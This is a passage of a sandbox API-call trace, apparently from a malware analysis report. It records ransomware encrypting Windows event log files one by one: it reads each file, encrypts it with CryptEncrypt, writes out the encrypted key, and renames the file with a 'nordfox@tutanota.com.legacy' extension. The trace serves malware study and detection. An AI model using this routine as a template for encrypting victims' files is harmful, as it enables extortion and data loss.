lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.773] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.773] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0085.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0085.777] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.777] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.777] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.778] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.779] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0085.779] CloseHandle (hObject=0x460) returned 1 [0085.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0085.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0085.793] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e238 | out: hHeap=0x520000) returned 1 [0085.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582768 | out: hHeap=0x520000) returned 1 [0085.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582588 | out: hHeap=0x520000) returned 1 [0085.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582600 [0085.795] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584568 [0085.796] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d130 [0085.796] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584568 | out: pbBuffer=0x584568) returned 1 [0085.796] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d130 | out: pbBuffer=0x54d130) returned 1 [0085.796] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0085.797] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582768 [0085.797] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e878 [0085.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582768 | out: hHeap=0x520000) returned 1 [0085.797] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.797] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.797] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0085.797] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0085.797] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.808] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.808] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0085.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0085.812] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.812] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.812] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.814] WriteFile (in: hFile=0x460, lpBuffer=0x584568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.814] WriteFile (in: hFile=0x460, lpBuffer=0x54d130*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d130*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0085.814] CloseHandle (hObject=0x460) returned 1 [0085.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584568 | out: hHeap=0x520000) returned 1 [0085.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d130 | out: hHeap=0x520000) returned 1 [0085.824] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e878 | out: hHeap=0x520000) returned 1 [0085.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582600 | out: hHeap=0x520000) returned 1 [0085.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582d80 | out: hHeap=0x520000) returned 1 [0085.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582ee8 [0085.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0085.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0085.827] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0085.827] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0085.827] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx", dwFileAttributes=0x80) returned 1 [0085.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582948 [0085.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e6e8 [0085.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582948 | out: hHeap=0x520000) returned 1 [0085.827] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.827] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.828] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0085.829] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0085.829] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.846] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.847] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0085.847] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0085.848] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0085.850] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0085.850] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0085.850] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0085.855] WriteFile (in: hFile=0x460, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0085.856] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0085.856] CloseHandle (hObject=0x460) returned 1 [0085.860] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0085.860] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0085.860] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0085.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e6e8 | out: hHeap=0x520000) returned 1 [0085.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ee8 | out: hHeap=0x520000) returned 1 [0085.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582df8 | out: hHeap=0x520000) returned 1 [0085.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x583140 [0085.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0085.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0085.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0085.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0085.870] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0085.871] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x583050 [0085.871] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e7b0 [0085.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583050 | out: hHeap=0x520000) returned 1 [0085.871] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0085.871] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0085.871] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0085.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0085.872] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.024] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.024] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.025] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0086.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0086.033] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0086.033] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0086.034] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0086.035] WriteFile (in: hFile=0x460, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0086.035] WriteFile (in: hFile=0x460, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0086.036] CloseHandle (hObject=0x460) returned 1 [0086.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0086.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0086.044] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0086.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e7b0 | out: hHeap=0x520000) returned 1 [0086.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583140 | out: hHeap=0x520000) returned 1 [0086.047] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5826f0 | out: hHeap=0x520000) returned 1 [0086.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582ba0 [0086.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0086.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0086.047] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0086.047] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0086.047] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx", dwFileAttributes=0x80) returned 1 [0086.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5826f0 [0086.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57edf0 [0086.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5826f0 | out: hHeap=0x520000) returned 1 [0086.048] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0086.048] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0086.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0086.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0086.048] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.126] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.126] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.126] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0086.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0086.129] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0086.130] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0086.130] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0086.131] WriteFile (in: hFile=0x460, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0086.132] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0086.132] CloseHandle (hObject=0x460) returned 1 [0086.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0086.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0086.176] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0086.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57edf0 | out: hHeap=0x520000) returned 1 [0086.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ba0 | out: hHeap=0x520000) returned 1 [0086.189] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ab0 | out: hHeap=0x520000) returned 1 [0086.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582858 [0086.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0086.189] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0086.190] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0086.190] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0086.190] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0086.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582f60 [0086.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e300 [0086.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582f60 | out: hHeap=0x520000) returned 1 [0086.190] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0086.190] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0086.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0086.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0086.190] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.271] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.272] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0086.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0086.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0086.276] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0086.276] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0086.276] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0086.277] WriteFile (in: hFile=0x460, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0086.278] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0086.278] CloseHandle (hObject=0x460) returned 1 [0086.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0086.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0086.280] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0086.282] HeapFree (in: hHeap=0x520000, 